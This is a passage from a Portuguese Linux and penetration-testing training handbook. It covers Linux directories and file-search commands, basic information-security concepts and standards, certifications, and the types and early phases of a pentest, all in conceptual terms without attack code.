Obs.: é necessário passar o caminho completo do comando, pois o diretório /sbinnão consta na lista de diretórios de comandos do usuário comum que é definida navariável PATH, iremos estudar esta variável durante o curso.

2.3.11 Diretório srv

1 # ls /srv

Diretório para dados de serviços fornecidos pelo sistema, cuja aplicação é de alcancegeral, ou seja, os dados não são específicos de um usuário. Por exemplo:

• /srv/www (servidor web)

• /srv/ftp (servidor ftp)

2.3.12 Diretório /tmp

1 # ls /tmp

Diretório para armazenamento de arquivos temporários. É utilizado principalmentepara guardar pequenas informações que precisam estar em algum lugar até que aoperação seja completada, como é o caso de um “download”.

PenTest - Segurança Hacker Página 51

Linux Force – www.linuxforce.com.br Aprendendo GNU/Linux

Enquanto não for concluído, o arquivo fica registrado em “/tmp”, e, assim que éfinalizado, é encaminhado para o local correto.

No Debian os dados são perdidos a cada reboot, já no CentOS os dados são manti-dos durante doze dias após seu último acesso.

Para alterar no Debian:

1 # vim /etc/default/rcS2 TMPTIME =03 SULOGIN=no4 DELAYLOGIN=no5 UTC=yes6 VERBOSE=no7 FSCKFIX=no

Altere o valor da variável “TMPTIME” para o número de dias que desejar manter osdados após o seu último acesso.

Para alterar no CentOS:

1 # vim /etc/cron.daily/tmpwatch2 flags=-umc3 /usr/sbin/tmpwatch "$flags" -x /tmp/.X11 -unix -x /tmp/.XIM -unix \4 -x /tmp/.font -unix -x /tmp/.ICE -unix -x /tmp/.Test -unix \5 -X ’/tmp/hsperfdata_*’ 240 /tmp6 /usr/sbin/tmpwatch "$flags" 720 /var/tmp7 for d in /var/{cache/man ,catman }/{cat?,X11R6/cat?,local/cat?}; do8 if [ -d "$d" ]; then9 /usr/sbin/tmpwatch "$flags" -f 720 "$d"

10 fi11 done

Altere de 720 horas, para o total de horas que quiser.

2.3.13 Diretório /usr

1 # ls /usr

PenTest - Segurança Hacker Página 52

Linux Force – www.linuxforce.com.br Aprendendo GNU/Linux

O diretório “/usr” contém programas que não são essenciais ao sistema e que se-guem o padrão GNU/Linux, como, por exemplo, navegadores, gerenciadores de ja-nelas, etc.

2.3.14 Diretório /var

1 # ls /var

O diretório “/var” contém arquivos de dados variáveis. Por padrão, os programasque geram arquivos de registro para consulta, mais conhecidos como “logs”, ficamarmazenados nesse diretório. Além do ”log”, os arquivos que estão aguardando emfilas, também ficam localizados em “/var/spool”.

Os principais arquivos que se utilizam do diretório “/var” são:

• mensagens de e-mail

• arquivos a serem impressos

1 # ls /var/spool

arquivos de log

1 # ls /var/log

2.3.15 Diretório /proc

1 # ls /proc

O “/proc” é um diretório virtual, mantido pelo kernel, onde encontramos a configu-ração atual do sistema, dados estatísticos, dispositivos já montados, interrupções,endereços e estados das portas físicas, dados sobre as redes, etc.

PenTest - Segurança Hacker Página 53

Linux Force – www.linuxforce.com.br Aprendendo GNU/Linux

Aqui, temos subdiretórios com o nome que corresponde ao “PID - Process ID” decada processo.

Dentro deles, vamos encontrar diversos arquivos texto contendo várias informaçõessobre o respectivo processo em execução.

Utilize os paginadores more ou less para visualizá-los:

1 # more /proc/interrupts

Neste arquivo estão as informações das IRQs dos dispositivos.

Os endereços de IRQ são interrupções de hardware, canais que os dispositivos po-dem utilizar para chamar a atenção do processador.

Na maioria das situações, o sistema operacional simplesmente chaveia entre os apli-cativos ativos, permitindo que ele utilize o processador durante um determinado es-paço de tempo e passe a bola para o seguinte. Como o processador trabalha a umafrequência de clock muito alta, o chaveamento é feito de forma muito rápida, dandoa impressão de que todos realmente estão sendo executados ao mesmo tempo.

Ao ser avisado através de qualquer um destes canaisde IRQ, o processador imedia-tamente pára qualquer coisa que esteja fazendo e dá atenção ao dispositivo, voltandoao trabalho logo depois. Cada endereço é uma espécie de campainha, que pode sertocada a qualquer momento. Se não fossem pelos endereços de IRQ, o processadornão seria capaz de ler as teclas digitadas no teclado, nem os clicks do mouse, a suaconexão pararia toda vez que abrisse qualquer programa e assim por diante.

1 # less /proc/dma

É o arquivo que contém a lista do registro ISA direto dos canais em uso da acesso amemória (DMA).

Os canais de DMA são utilizados apenas por dispositivos de legado (placas ISA, por-tas paralelas e drives de disquete) para transferir dados diretamente para a memóriaRAM, reduzindo desta forma a utilização do processador.

1 # more /proc/ioports

PenTest - Segurança Hacker Página 54

Linux Force – www.linuxforce.com.br Aprendendo GNU/Linux

Neste arquivo encontramos informações sobre os endereços das portas I/O (In-put/Output).

Diferentemente dos endereços de IRQ, os endereços de I/O não são interrupções,mas sim endereços utilizados para a comunicação entre os dispositivos. Cada dispo-sitivo precisa de um endereço próprio mas, ao contrário dos endereços de IRQ, existeuma abundância de endereços de I/O disponíveis, de forma que eles raramente sãoum problema.

2.3.16 Diretório /sys

1 # ls /sys

Pode-se dizer que esse diretório é um primo do diretório “/proc”. Dentro do diretório“/sys” podemos encontrar o quase o mesmo conteúdo do “/proc”, mas de uma formabem mais organizada para nós administradores.

Esse diretório está presente desde a versão 2.6 do kernel, ele agrupa informaçõessobre os dispositivos instalados, incluindo o tipo, fabricante, capacidade, endereçosusados e assim por diante. Estas informações são geradas automaticamente pelokernel e permitem que os serviços responsáveis pela detecção de hardware façamseu trabalho, configurando impressoras e criando ícones no desktop para acesso aopendrive, por exemplo.

2.3.17 Diretórios /home e /root

1 # ls /home /root

Os diretórios “/root” e “/home” podem estar disponíveis no sistema, mas não pre-cisam obrigatoriamente possuir este nome. Por exemplo, o diretório “/home” poderiase chamar “/casa”, que não causaria nenhum impacto na estrutura do sistema.

O “/home” contém os diretórios pessoais dos usuários cadastrados no sistema.

O “/root” é o diretório pessoal do super usuário “root”.

PenTest - Segurança Hacker Página 55

Linux Force – www.linuxforce.com.br Aprendendo GNU/Linux

O “root” é o administrador do sistema, e pode alterar as configurações do sistema,configurar interfaces de rede, manipular usuários e grupos, alterar a prioridade dosprocessos, entre outras. Dica: Utilize uma conta de usuário normal em vez da conta“root” para operar seu sistema.

Uma razão para evitar usar privilégios “root” regularmente, é a facilidade dese cometer danos irreparáveis; além do que, você pode ser enganado e rodar umprograma “Cavalo de Tróia” (programa que obtém poderes do super usuário) com-prometendo a segurança do seu sistema sem que você saiba.

2.3.18 Localização no sistema: find

O comando “find” procura por arquivos/diretórios no disco. Ele pode procurar arqui-vos pela sua data de modificação, tamanho, etc. O “find”, ao contrário de outrosprogramas, usa opções longas por meio de um ”-”.

Sintaxe do comando “find”:

find [diretório] [opções/expressão]

• -name [expressão] :

Procura pela [expressão] definida nos nomes de arquivos e diretórios processados.

1 # find /etc -name *.conf

• -maxdepth [num] :

Limita a recursividade de busca na árvore de diretórios. Por exemplo, limitando a 1,a busca será feita apenas no diretório especificado e não irá incluir nenhum subdire-tório.

1 # find /etc -maxdepth 1 -name *.conf

PenTest - Segurança Hacker Página 56

Linux Force – www.linuxforce.com.br Aprendendo GNU/Linux

• -amin [num] :

Procura por arquivos que foram acessados [num] minutos atrás. Caso seja antece-dido por “-”, procura por arquivos que foram acessados entre [num] minutos atrás eo momento atual.

1 # find ~ -amin -5

• -atime [num] :

Procura por arquivos que foram acessados [num] dias atrás. Caso seja antecedidopor “-”, procura por arquivos que foram acessados entre [num] dias atrás e a dataatual.

1 # find ~ -atime -10

• -uid [num] :

Procura por arquivos que pertençam ao usuário com o “uid 1000” [num].

1 # find / -uid 1000

• -user [nome] :

Procura por arquivos que pertençam ao usuário “aluno” [nome].

1 # find / -user aluno

• -perm [modo] :

Procura por arquivos que possuem os modos de permissão [modo]. Os [modo] depermissão podem ser numérico (octal) ou literal.

1 # find / -perm 644

PenTest - Segurança Hacker Página 57

Linux Force – www.linuxforce.com.br Aprendendo GNU/Linux

• -size [num] :

Procura por arquivos que tenham o tamanho [num]. O tamanho é especificado em by-tes. Você pode usar os sufixos k, M ou G para representar o tamanho em Quilobytes,Megabytes ou Gigabytes, respectivamente. O valor de [num] Pode ser antecedido de“+” ou “-” para especificar um arquivo maior ou menor que [num].

1 # find / -size +1M

-type [tipo] :

Procura por arquivos do [tipo] especificado. Os seguintes tipos são aceitos:

b - bloco; c - caractere; d - diretório; p - pipe; f - arquivo regular; l - “link” simbólico; s- “socket”.

1 # find /dev -type b

Outros exemplos:

Procura no diretório raiz e nos subdiretórios um arquivo/diretório chamado “grep”ignorando caso sensitivo:

1 # find / -iname GREP

-iname - ignora case sensitive;

Procura no diretório raiz e nos subdiretórios até o 2º nível, um arquivo/diretório cha-mado “grep”:

1 # find / -maxdepth 2 -name grep

Procura no diretório atual e nos subdiretórios um arquivo com tamanho maior que1000 kbytes (1Mbyte).:

1 # find . -size +1000k

PenTest - Segurança Hacker Página 58

Linux Force – www.linuxforce.com.br Aprendendo GNU/Linux

Procura no diretório raiz e nos subdiretórios um arquivo que foi modificado há 10minutos atrás ou menos:

1 # find / -mmin -10

Procura diretórios a partir do diretório /etc e também executa um comando no resul-tado da busca com a opção “exec”, no exemplo o comando é “ls -ld”:

1 # find /etc -type d -exec ls -ld {} \;

2.3.19 xargs

Outra forma de procurar por arquivos e/ou diretórios e executar um comando é atra-vés do comando xargs que obtém como a entrada a saída ok do comando antes dopipe e envia como stdin do próximo comando, no caso o ls -ld:

1 # find /etc -type d | xargs ls -ld

Vamos agora listar diretórios utilizando o “xargs”:

1 # ls / | xargs -n12 # ls / | xargs -n23 # ls / | xargs -n3

Outros testes com o “xargs”:

1 # ls / > teste_xargs.txt2 # cat teste_xargs.txt3 # cat teste_xargs.txt | xargs -n 24 # xargs -n 3 < teste_xargs.txt

Você percebeu que no primeiro comando ele listou o diretório, jogando na tela umnome de cada vez. O segundo comando fará o mesmo só que com dois nomes namesma linha, e o terceiro com 3 nomes.

PenTest - Segurança Hacker Página 59

Linux Force – www.linuxforce.com.br Aprendendo GNU/Linux

Tempo de execução de um programa: time

O comando “time” permite medir o tempo de execução de um programa. Sua sintaxeé: time [programa].

Exemplo:

1 # time find / -name *.conf

Localização usando base de dados: locate

O comando “locate” é um comando rápido de busca de arquivos, porém não usabusca recursiva na sua árvore de diretórios. Ele utiliza uma base de dados que écriada pelo comando “updatedb”, para que a busca seja mais rápida. Por padrão, aatualização da base de dados é agendado no “cron” do sistema para ser executadadiariamente.

Para utilizá-lo, primeiro é necessário criar a sua base de dados usando a seguintesintaxe:

1 # uptadedb

Quando esse comando é executado pela primeira vez costuma demorar um pouco.Isso deve-se a primeira varredura do disco para a criação da primeira base de dados.Para o comando “locate”, usamos a seguinte sintaxe:

1 # locate howto

A saída do comando será algo parecido com:

1 /usr/share/doc/python2.4-xml/howto.cls2 /usr/share/doc/python2.4-xml/xml -howto.tex.gz3 /usr/share/doc/python2.4-xml/xml -howto.txt.gz /usr/share/vim/vim64/

doc/howto.txt

PenTest - Segurança Hacker Página 60

3 Introdução à Segurança daInformação

3.1 Objetivos

• Fornecer ao aluno uma visão geral sobre segurança da informação

• Entender a importância da segurança da informação no mundo de hoje

• Conhecer as principais ameaças

• Compreender a terminologia básica utilizada

• Conhecer algumas certificações da área

3.2 O que é segurança?

Segundo o dicionário da Wikipédia, segurança é um substantivo feminino, que sig-nifica:

• Condição ou estado de estar seguro ou protegido.

• Capacidade de manter seguro.

• Proteção contra a fuga ou escape.

• Profissional ou serviço responsável pela guarda e proteção de algo.

• Confiança em si mesmo.

Linux Force – www.linuxforce.com.br Introdução à Segurança da Informação

Dentro do escopo com relação ao que iremos estudar, os três primeiros tópicosadequam-se perfeitamente ao que será abordado ao longo do curso. No entanto,veremos esses aspectos na visão do atacante, aquele que tem por objetivo justa-mente subverter a segurança.

E o que queremos proteger?

Vamos analisar o contexto atual em primeiro lugar...

Na época em que os nobres viviam em castelos e possuíam feudos, com mão deobra que trabalhavam por eles, entregando-lhes a maior parte de sua produção eainda pagavam extorsivos importos, qual era o maior bem que possuíam? Terras!Isso mesmo, quem tinha maior número de terras era mais poderoso e possuía maisriqueza. Posto que quanto mais terras, maior a produção recebida das mãos doscamponeses que arrendavam as terras de seu suserano.

Após alguns séculos, com o surgimento da Revolução Industrial, esse panoramamuda completamente... Os camponeses deixam os campos e passam a trabalharnas fábricas, transformando-se em operários.

Quem nunca viu o filme “Tempos Modernos” de Chaplin? Chaplin ilustra muito bemcomo era a rotina desses operários.

Nessa fase da história da civilização, o maior ativo é a mão de obra, juntamente como capital. Quem tinha o maior número de operários, trabalhando “incansavelmente”,detinha o poder, pois possuía maior capital, gerado pela produção incessante dasindústrias.

No entanto, como tudo o que é cíclico e está em constante mudança, o cenáriomundial novamente se altera, inicialmente com o movimento iluminista.

O Iluminismo, a partir do século XVIII, permeando a Revolução Industrial, prepara oterreno para a mudança de paradigma que está por vir. Os grandes intelectuais dessemovimento tinham como ideal a extensão dos princípios do conhecimento crítico atodos os campos do mundo humano. Supunham poder contribuir para o progresso dahumanidade e para a superação dos resíduos de tirania e superstição que creditavamao legado da Idade Média. A maior parte dos iluministas associava ainda o ideal deconhecimento crítico à tarefa do melhoramento do estado e da sociedade.

E com isso, começamos a ver, através de uma grande mudança de paradigma, quea detenção de informações ou conhecimentos, que tinham algum valor, é que definequem tem o poder nas mãos ou não. E surge, então, a era da informação!

PenTest - Segurança Hacker Página 62

Linux Force – www.linuxforce.com.br Introdução à Segurança da Informação

Com esse acontecimento, inicia-se o surgimento da internet e a globalização, possi-bilitando o compartilhamento em massa da informação. Nesse momento não é maisa mão de obra, terras, máquinas ou capital que regem a economia e dita quem temo poder, mas sim a informação, que se torna o principal ativo dessa era.

Estamos na era da informação, e nada mais lógico que um corpo de conhecimentofosse criado para dar a devida atenção às anomalias e proteger esse ativo tão im-portante. Essa área de atuação, que já existia há muito anos, mas agora com tarefasbem mais definidas, com regras e normas a serem seguidas é a Segurança da In-formação, ou SI.

3.3 Segurança da Informação

A Segurança da Informação tem como principal objetivo, justamente, proteger asinformações, que são os principais ativos atualmente, que sejam importantes parauma organização ou indivíduo.

Entendendo esse conceito, não é suficiente apenas conhecer as normas existentese as várias formas possíveis de proteção, mas é necessário também conhecer osriscos inerentes e as possíveis formas de ataque.

De acordo com o maior estrategista que já existiu, Sun Tzu, se você conhece a simesmo e ao seu inimigo, não precisará temer o resultado de mil batalhas. Afinal, seconhece os estratagemas empregados por atacantes maliciosos, estará muito maiscapacitado para proteger seu principal ativo: a informação.

3.4 Padrões/Normas

3.4.1 ISO 27001

Essa norma aborda os padrões para sistemas de gestão de segurança da informa-ção. Substitui a norma BS 7799-2

PenTest - Segurança Hacker Página 63

Linux Force – www.linuxforce.com.br Introdução à Segurança da Informação

3.4.2 ISO 27002

Baseada na norma ISO 27001, essa norma trata das boas práticas de segurançada informação, onde indica uma série de possíveis controles dentro de cada con-texto da área de segurança. A partir de 2006, tornou-se substituta da norma ISO17799:2005.

3.4.3 Basileia II

É uma norma da área financeira, conhecida também como Acordo de Capital deBasileia II. Essa norma fixa-se em três pilares e 25 princípios básicos sobre contabi-lidade e supervisão bancária.

3.4.4 PCI-DSS

A norma Payment Card Industry Data Security Standard, é uma padronização inter-nacional da área de segurança de informação definida pelo Payment Card IndustrySecurity Standards Council. Essa norma foi criada para auxiliar as organizações queprocessam pagamentos por cartão de crédito na prevenção de fraudes, através demaior controle dos dados e sua exposição.

3.4.5 ITIL

É um conjunto de boas práticas para gestão, operação e manutenção de serviços deTI, aplicados na infraestrutura. A ITIL busca promover a gestão de TI com foco nocliente no serviço, apresentando um conjunto abrangente de processos e procedi-mentos gerenciais, organizados em disciplinas, com os quais uma organização podefazer sua gestão tática e operacional em vista de alcançar o alinhamento estratégicocom os negócios.

3.4.6 COBIT

Do inglês, Control Objectives for Information and related Technology, é um guiade boas práticas, como um framework, voltadas para a gestão de TI. Inclui, em sua

PenTest - Segurança Hacker Página 64

Linux Force – www.linuxforce.com.br Introdução à Segurança da Informação

estrutura de práticas, um framework, controle de objetivos, mapas de auditoria, fer-ramentas para a sua implementação e um guia com técnicas de gerenciamento.

3.4.7 NIST 800 Series

Série de documentos, guias e pesquisas desenvolvidos pelo National Institute ofStandards and Technology, voltadas para a área de segurança da informação. Essasérie é composta de documentos considerados "Special Publications", os quais abor-dam desde segurança na tecnologia Bluetooth, até segurança em servidores.

Dica: o documento desta série que é equivalente ao que estamos estudandoao longo desse curso, que pode inclusive representar uma metodologia específica, éo NIST 800-115.

3.5 Por que precisamos de segurança?

• Evolução da tecnologia focando a facilidade de uso

Quanto mais a tecnologia evolui, mais fácil torna-se a operação dos novos sis-temas e ferramentas. Já vai ao longe o tempo em que era necessário gravarde cabeça 500 comandos diferentes para utilizar o computador para as tarefasmais costumeiras e simples do dia a dia. Hoje em dia tudo está ao alcance deum clique do mouse, e quando não, de um movimento de cabeça, se pensar-mos nos sistemas de captura de movimentos.

• Aumento do uso de redes e interligação das aplicações

Tudo está conectado atualmente! E quando uma máquina ou sistema é com-prometido, tudo o que está ao seu redor corre o risco de ser comprometidotambém. Isso demanda uma maior capacidade de gerenciamento do parquecomputacional, que cresce exponencialmente e muitas vezes de forma desor-denada.

• Diminuição do nível de conhecimento para a execução de um ataque avançado

PenTest - Segurança Hacker Página 65

Linux Force – www.linuxforce.com.br Introdução à Segurança da Informação

Com a facilidade de uso aumentando gradativamente, a necessidade de co-nhecimento de alto nível para realizar ataques avançados também diminui. Seum adolescente de 12 anos procurar na internet sobre ataques de negaçãode serviço, por exemplo, encontrará ferramentas de simples utilização e podefacilmente derrubar um grande servidor.

• Aumento da complexidade para administração de infraestrutura de computado-res e gerenciamento.

Quanto maior o parque computacional, mais difícil se torna seu gerenciamento,e disso surgem inúmeros problemas graves, de consequências desastrosas.

Com o aumento da complexidade da infraestrutura e, consequentemente, dasobrecarga dos administradores de rede, torna-se cada vez mais difícil geren-ciar tudo o que ocorre e monitorar satisfatoriamente o funcionamento da infra-estrutura organizacional.

3.6 Princípios básicos da segurança da informação

A área de SI possui três pilares básicos com o acréscimo de mais duas, que permitema troca segura de informação, desde que nenhum deles seja violado. São eles:

3.6.1 Confidencialidade

Esse pilar é o responsável pelo controle de acesso à informação apenas por aquelaspessoas ou entidade que tenham permissão compatível com sua função e determi-nada pelo dono daquela informação.

3.6.2 Integridade

Aqui, através dessa propriedade, é determinada a necessidade de garantir que a in-formação mantenha todas as suas características originais como determinadas peloproprietário da informação.

PenTest - Segurança Hacker Página 66

Linux Force – www.linuxforce.com.br Introdução à Segurança da Informação

3.6.3 Disponibilidade

Propriedade que define que determinada informação esteja sempre disponível parao acesso quando necessário, de maneia íntegra e fidedigna. Alguns dos ataquesconhecidos buscam justamente derrubar a disponibilidade, e para algumas empresaso simples fato de não ter suas informações disponíveis durante determinado períodode tempo, isso pode acarretar prejuízos estrondosos.

3.6.4 Autenticidade

Propriedade responsável por garantir que a informação vem da origem informada,permitindo a comunicação segura e garantia de que a informação a qual tem acessoé correta e de fonte confiável.

3.6.5 Legalidade

É a propriedade que define se determinada informação, ou operação, está de acordocom as leis vigentes no país. As mesmas leis que regem um país podem ser com-pletamente diferentes em outro, o que pode ocasionar uma série de problemas, casoo sistema de gestão não seja adaptável.

Podemos ver na figura a seguir alguns dos distúrbios mais comuns aos pilares da SI,vinculados a ataques que visam à área de TI:

PenTest - Segurança Hacker Página 67

Linux Force – www.linuxforce.com.br Introdução à Segurança da Informação

O nível de segurança desejado, pode se consubstanciar em uma política de segu-rança que é seguida pela organização ou pessoa, para garantir que uma vez estabe-lecidos os princípios, aquele nível desejado seja perseguido e mantido.

É de extrema importância saber equilibrar o nível de segurança com a funcionalidadee facilidade de uso do sistema, pois o mais importante para a empresa é o negócio,e a segurança existe para proteger o negócio da empresa, e não atrapalhá-lo.

3.6.6 Terminologias de segurança

• Vulnerabilidade – fragilidade que pode fornecer uma porta de entrada a umatacante

• Ameaça – agente ou ação que se aproveita de uma vulnerabilidade

• Risco – (Impacto X Probabilidade) da ameaça ocorrer

• Ataque – Incidência da ameaça sobre a vulnerabilidade

• Exploit – Programa capaz de explorar uma vulnerabilidade

3.7 Ameaças e ataques

Em segurança da informação, precisamos estar atentos às possíveis ameaças quepodem, de alguma maneira, comprometer os pilares de SI. A partir das ameaças,podemos ter noção dos riscos que envolvem a atividade organizacional. Para cadatipo de atividade, ou contexto, o conjunto de ameaças será diferente, requerendotambém reações e posturas diferentes para diminuí-las.

Vamos separar as ameaças em dois grandes grupos: físicas e lógicas.

As ameaças físicas, caso ocorram, comprometerão o ambiente físico onde a infor-mação está armazenada ou processada.

Dentre as ameaças físicas podemos considerar:

• Alagamento

PenTest - Segurança Hacker Página 68

Linux Force – www.linuxforce.com.br Introdução à Segurança da Informação

• Raios

• Acessos indevidos

• Desabamentos

E no grupo das ameaças lógicas, podemos contar as seguintes:

• Infecção por vírus

• Acessos remotos à rede

• Violação de senhas

Assim como dividimos as ameaças em dois grandes grupos, os ataques tambémpodem ser divididos da mesma maneira: Internos e Externos.

Os ataques internos representam por volta de 70aos sistemas e redes. Mesmo quea maioria das pessoas acreditem que a maior parte dos ataques surjam de fontesexternas, essa é uma maneira errônea de encarar as coisas.

Dentre os ataques internos, encontramos em sua maioria, aqueles realizados porfuncionários de dentro da própria organização, que estão insatisfeitos, buscam vin-gança ou participam de alguma ação de espionagem industrial, vendendo as infor-mações conseguidas para o concorrente.

Outro tipo de ataque vindo de “insiders”, surge de funcionários despreparados, quesem o devido conhecimento do funcionamento do sistema, ou das políticas orga-nizacionais, age de maneira errônea, causando o comprometimento do sistema daempresa.

Quando vamos analisar os ataques externos, novamente nos deparamos com a pos-sibilidade de comprometimentos cujos objetivos estejam vinculados à espionagemindustrial, que apesar de ser ilegal, muitas organizações recorrem a esse expedientepara não ficar para trás, na luta pelo domínio de mercado.

Outra possibilidade da origem de comprometimentos de sistemas, pode ser a curio-sidade ou simplesmente o desafio que representa para um cracker, cujo objetivo decomprometer o sistema, seja basicamente isso: comprometer o sistema e poder di-zer que foi ele quem fez isso. Ou então, o furto de dados que de alguma forma sejamúteis para o cracker. Bons exemplos desse tipo de ataques, podem ser encontradosno livro “A Arte de Invadir”, de autoria de Kevin Mitnick.

PenTest - Segurança Hacker Página 69

Linux Force – www.linuxforce.com.br Introdução à Segurança da Informação

• Exemplo de ameaça:

“Uma chuva de granizo em alta velocidade”

• Exemplo de vulnerabilidade:

“Uma sala de equipamentos com janelas de vidro”

• Exemplo de ataque:

“A chuva de granizo contra as janelas de vidro”

O risco será calculado considerando a probabilidade de uma chuva de granizo emalta velocidade ocorrer e atingir a janela de vidro.

3.8 Mecanismos de segurança

Para mitigar ou diminuir sensivelmente as ameaças, podemos empregar uma sériede dispositivos e mecanismos de segurança, sejam as ameaças físicas ou lógicas.Para cada contexto, temos grupos diferentes de mecanismos que podem ser utiliza-dos.

3.8.1 Mecanismos físicos

• Portas

• Trancas

• Paredes

• Blindagem

• Guardas

• Câmeras

• Sistemas de alarme

PenTest - Segurança Hacker Página 70

Linux Force – www.linuxforce.com.br Introdução à Segurança da Informação

• Sistema de detecção de movimentos

• Biometria

Os mecanismos físicos de proteção, são barreiras que limitam o contacto ou acessodireto a informação ou a infra-estrutura (que garante a existência da informação) quea suporta.

3.8.2 Mecanismos lógicos

• Criptografia

• Firewall

• Anti-Vírus

• IDS

• IPS

• Proxy

• Anti-Spam

Os mecanismos lógicos, são barreiras que impedem ou limitam o acesso a informa-ção, que está em ambiente controlado, geralmente eletrônico, e que, de outro modo,ficaria exposta a alteração não autorizada por elemento mal intencionado.

3.9 Serviços de segurança

Existe hoje em dia um elevado número de ferramentas e sistemas que pretendemfornecer segurança. Alguns exemplos são os detectores de intrusões, os antivírus,firewalls, firewalls locais, filtros anti-spam, fuzzers, analisadores de código, etc.

Além de dispositivos de segurança, também existem diversos serviços relacionadosa segurança da informação.

PenTest - Segurança Hacker Página 71

Linux Force – www.linuxforce.com.br Introdução à Segurança da Informação

Esses serviços precisam de profissionais com um conhecimento altamente especiali-zado, primeiro por lidar com análises complexas, e segundo por envolver informaçõessigilosas que precisam de tratamento especial, para que não sejam comprometidasde alguma maneira.

Dentre os serviços oferecidos por profissionais de segurança estão:

• Criação de Políticas de Segurança

• Implantação de CSIRTs

• Hardening de Servidores

• Análise de Vulnerabilidade

• Teste de Invasão

• Análise de Aplicação

• Perícia Computacional

• Treinamento de Colaboradores

• Auditoria

3.10 Certificações

Na área de segurança, há muitas certificações reconhecidas pelo mercado.

Sendo que cada ma delas possui um foco diferente, nível de conhecimento diferentee formas de avaliações diversas.

Abaixo listamos as principais certificações da área de SI:

• CompTIA

Security+

• Cisco Systems

PenTest - Segurança Hacker Página 72

Linux Force – www.linuxforce.com.br Introdução à Segurança da Informação

CCNA Security • CCSP • CCIE Security

• EC-Council

CEH • CHFI • ECSA • ENSA • LPT

• GIAC

GSIF • GSEC • GCIA • GCFW • GCFA • GCIH • GPEN • GCUX • GCWN •GWAPT • GAWN • GREM • GSE

• ISACA

CISA • CISM

• ISECOM

OPSA • OPST

• Offensive Security

OSCP • OSCE

Dentro do conteúdo estudado e de acordo com o contexto que estamos estudando,algumas certificações possuem em sua avaliação muito dos assuntos abordados emaula. Podemos citar, dentre essas, as certificações:

• CEH, ECSA, LPT, OPSA, OSCP, GPEN

PenTest - Segurança Hacker Página 73

4 Introdução ao Teste de Invasão eÉtica Hacker

4.1 Objetivos

• Fornecer ao aluno uma visão geral sobre testes de invasão

• Entender a anatomia e os tipos diferentes de ataques

• Conhecer as fases de um teste de invasão

• Conhecer as metodologias e os aspectos legais

4.2 Visão geral sobre o Pentest

O Teste de Intrusão é um processo de análise detalhada do nível de segurança de umsistema ou rede usando a perspectiva de um infrator. Trata-se de um teste realistaao nível de segurança das infra-estruturas e da informação que estas detêm.

No Teste de Intrusão são testadas vulnerabilidades técnicas e conceituais das infra-estruturas alvo.

O objetivo principal é simular de forma controlada um ataque real que normalmenteé executado por criminosos. Desta maneira é possível ter o conhecimento total doque poderia acontecer caso esse ataque realmente existisse, garantindo assim apossibilidade de uma estratégia de prevenção.

Linux Force – www.linuxforce.com.br Introdução ao Teste de Invasão e Ética Hacker

4.3 Tipos de Pentest

4.3.1 Blind

Nessa modalidade o auditor não conhece nada sobre o alvo que irá atacar, porém oalvo sabe que será atacado e o que será feito durante o teste.

O grande risco desse tipo de teste, é que o alvo pode avisar a equipe de TI e decidi-rem fazer atualização do sistema, aplicar patchs de correção e segurança. Esse tipode pentest é interessante para ter conhecimento de como e quais informações sobrea organização e sua infraestrutura é possível de um atacante ter acesso.

4.3.2 Double blind

Nessa modalidade o auditor não conhece nada sobre o alvo, e o alvo não sabe queserá atacado e tão pouco sabe quais testes o auditor irá realizar.

É o método de pen test mais realista possível, aproximando-se de um ataque real,pois ambas as parte, auditor e alvo, não sabem com o que irão se deparar.

Afinal, em um ambiente real, o atacante não sabe nada inicialmente sobre seu alvo,e o alvo nunca saberá qual tipo de ataque um cracker pode realizar contra sua infra-estrutura.

4.3.3 Gray Box

Nessa modalidade o auditor tem conhecimento parcial do alvo, e o alvo sabe queserá atacado e também sabe quais testes serão realizados.

Aproxima-se de um teste onde é simulado o ataque de dentro de um ambiente com-pletamente monitorado e controlado.

PenTest - Segurança Hacker Página 75

Linux Force – www.linuxforce.com.br Introdução ao Teste de Invasão e Ética Hacker

4.3.4 Double Gray Box

Nessa modalidade o auditor tem conhecimento parcial do alvo, e o alvo sabe queserá atacado, porém, não sabe quais testes serão executados.

Esse é o melhor método para simular um ataque partindo de um funcionário insatis-feito, que possui privilégios de usuário, por exemplo, e procura realizar escalada deprivilégios para ter acesso às informações que seu nível ou grupo não possui.

4.3.5 Tandem

Nessa modalidade o auditor tem total conhecimento sobre o alvo, o alvo sabe queserá atacado e o que será feito durante o ataque. Também conhecido como “caixade cristal”.

Esse tipo de pen test é bem próximo de uma auditoria, pois ambos estão preparadose sabem o que vai ser realizado. É o ideal para ser feito periodicamente, monitorandoas vulnerabilidades novas e mudanças feitas na infraestrutura.

4.3.6 Reversal

Nessa modalidade o auditor tem conhecimento total do alvo, porém o alvo não sabeque será atacado, e tão pouco sabe quais testes serão executados.

Esse formato de teste é ideal para testar a capacidade de resposta e como está otiming de ação da equipe de resposta a incidentes do alvo.

4.4 As fases de um ataque

Um ataque, ou teste de invasão, é composto por uma série de fases, onde em cadauma determinadas operações são realizadas.

O que vai definir a diferença de um teste de invasão e um ataque realizado por umcracker, são justamente a intenção, o escopo e o espaço de tempo disponível para omesmo.

PenTest - Segurança Hacker Página 76

Linux Force – www.linuxforce.com.br Introdução ao Teste de Invasão e Ética Hacker

As fases básicas de um ataque são explicadas a seguir.

4.4.1 Levantamento de Informações

Essa é a fase mais importante de um ataque e de um teste de invasão.

Baseado no que é descoberto nessa fase, todo o planejamento é realizado e os veto-res de ataque definidos. Essa fase prossegue na fase seguinte, onde as informaçõesiniciais são extendidas, de forma mais detalhada.

Podemos dizer que essa é a fase abrangente, e a fase seguinte detalha as informa-ções adquiridas nessa primeira fase.

Qualquer informação que seja vinculado ao alvo é considerada de valor nesse pri-meiro passo:

• Concorrentes

• Nome de funcionários

• Endereços

• Telefones

• Sites

• Empresas

• Comunidades sociais

• Empresas do mesmo grupo e etc.

4.4.2 Varredura

Nessa fase o atacante busca informações mais detalhadas o alvo, que posam per-mitir definir seus vetores de ataque e enxergar as possibilidades que podem permitirganhar acesso ao sistema, através da exploração de alguma falha encontrada.

PenTest - Segurança Hacker Página 77

Linux Force – www.linuxforce.com.br Introdução ao Teste de Invasão e Ética Hacker

Aqui buscamos informações que respondam algumas perguntas, como por exem-plo:

• Qual sistema operacional o alvo utiliza?

• Quais os serviços estão sendo executados no alvo?

• Quais serviços estão disponíveis para acesso?

• Qual a versão de cada serviço sendo executado?

• Há IDS/IPS na rede?

• Há honeypots na rede?

• Há firewalls na rede?

• Existe uma rede interna e outra externa, como uma DMZ?

• Há serviços com acesso público rodando em alguma máquina?

• Há algum software malicioso já sendo executado em alguma máquina?

